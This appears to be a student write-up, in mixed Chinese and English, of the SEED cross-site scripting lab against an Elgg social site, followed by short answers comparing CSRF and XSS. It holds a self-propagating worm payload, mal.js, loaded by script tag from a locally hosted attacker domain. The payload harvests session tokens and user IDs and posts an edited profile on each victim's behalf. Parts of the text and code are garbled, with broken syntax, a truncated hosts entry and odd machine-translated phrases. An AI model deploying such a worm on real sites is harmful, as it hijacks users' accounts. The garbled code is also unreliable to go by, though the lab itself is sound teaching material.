网络安全攻击实验室 XSS 逆向分析
Cross-Site Scripting (XSS) Attack Lab网安实验
Lab Environment
the Apache server needs to be started.
$ sudo service apache2 start
3.2 Task 1: Posting a Malicious Message to Display an Alert Window
description包含
标签。
其不会被执行为
描述字段用于存储与用户相关的详细信息。
描述字段的值会被赋值为:"Your profile have been attacked!!!</p>"。
其中标签定义了一个段落级联布局对象。
该段落级联布局对象包含一个内部HTML字符串:"Your profile have been attacked!!!"
该字符串被包裹在双引号内以避免语法错误。
同时还包含一个嵌入式JavaScript脚本字符串:
content被赋值为token、ts以及description之和,并经过 URL 编码处理后与guid和name相加
创建一个新实例的Ajax对象。
随后执行一次 openness操作。
设置目标URL为"/action/profile/edit"并启用请求。
指定服务器 hostname为"www.xsslabelgg.com"。
设置请求内容类型为"application/x-www-form-urlencoded"。
发送待提交的数据内容。
> > > 因为是自我复制,不用判断是否要对访问账户执行攻击 > > #### Link Approach 先在本地创建一个新的网站,名为 t.com, 用于托管恶意脚本。在/etc/hosts中添加下面一行用于DNS解析0.0.1 www.t.com
在/etc/apache2/sites-available/000-default.conf中添加一个网站配置,并允许跨站请求,如下:<VirtualHost *:80>
在命令行中输入命令启用apache自定义请求头并重启apache
sudo a2enmod headers sudo service apache2 restart
创建 /var/www/t/mal.js 文件,此文件即为script标签的src属性所指向的文件window.onload=function(){
var name='&username'+'+'+elgg.session.user.name;
var guid='&userGuid'+'+'+elgg.session.user.guid;
var ts='&tsCode'+'+'+elgg.security.token.tsValue;
var token='&tokenCode'+'+'+elgg.security.token.tokenValue;
}const description =
<p>Your account has been compromised!</p><script type="text/javascript" src="https://www.t.com/mal.js"></script>;
var content=token+ts+description+guid+name;let Ajax=undefined;
// 初始化一个XMLHttpRequest对象
var xmlhttp = new XMLHttpRequest();
// 设置请求的方法为POST
xmlhttp.open('POST', '/action/profile/edit', true);
// 设置请求头信息中的Host属性
xmlhttp.setRequestHeader('Host', 'www.xsslabelgg.com');
// 设置请求头信息中的Content-Type属性
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// 发送数据包
xmlhttp.send(content);
* * * ### 3.8 Task 7: Countermeasures ##### 1\. Activate only the HTMLawed countermeasure 发现:htmlspecialchars比HTMLawed 的优先级低 ## Ex **Question 1** : What are the main differences of CSRF and XSS attacks? They both have “cross site” in their names. > > > **CSRF工作原理** : > 用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cookie。要完成一次CSRF攻击,受害者必须满足两个必要的条件: > (1)登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录) > (2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。 > **XSS工作原理** : > 不需要任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、HTML代码块等)。 > **区别** :CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。 > > **Question 2** : Can we use the countermeasures against CSRF attacks to defend against XSS attacks, including the secret token and same-site cookie approaches? > > > **不能** > 针对CSRF的防御手段侧重于防止用户的身份被盗用,而XSS本身就是利用受信任用户误发出请求,不需要伪造受信任用户身份 > >
